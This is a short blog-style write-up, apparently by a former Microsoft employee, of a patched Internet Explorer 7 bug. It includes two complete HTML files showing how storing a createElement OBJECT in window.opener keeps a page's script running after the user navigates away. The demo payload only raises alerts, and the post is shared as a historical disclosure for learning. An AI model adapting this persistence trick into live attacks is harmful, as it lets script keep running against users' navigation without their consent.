A very clean residency technique: creating an OBJECT TYPE="text/html" element via document.createElement and storing it in window.opener keeps the referenced document alive and running after the page navigates away. The element never needs to be inserted into the DOM.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>IE7_Resident_opener_CreateElement_OBJECT</title></head>
<body>
<font size="2" face="Tahoma">
<center>
<h2>IE7_Resident_opener_CreateElement_OBJECT</h2>
Very simple way to keep a webPage "resident" using an OBJECT, window.opener and createElement: <br /><br />
</center>
1) Create an <b><font color="blue">OBJECT TYPE="text/html"</font></b> TAG using the <font color="blue">document.<b>createElement</b></font> method.<br />
2) Save a reference of that object in the <font color="blue">window.<b>opener</b></font> "property".<br />
3) That's it. Change the URL and that page/script will stay alive.<br /><br /><br />
<center>
Let's <a href="http://www.google.com">move away</a> from this page and see the alert every five seconds...
</center>
</font>
<script language="JavaScript">
window.opener = document.createElement('<object type="text/html" data="residentfile.html" width="100" height="100"></object>');
</script>
</body>
</html>
residentfile.html:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>myTest Document</title></head>
<body>
<script language="JavaScript">
setInterval("alert('I am still here.')",5000);
</script>
</body>
</html>
The createElement call creates a text/html object element that begins loading residentfile.html. Storing it in window.opener prevents garbage collection. When the parent page navigates away, the object element and its loaded document survive, and the setInterval inside residentfile.html continues running.
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.
Read other posts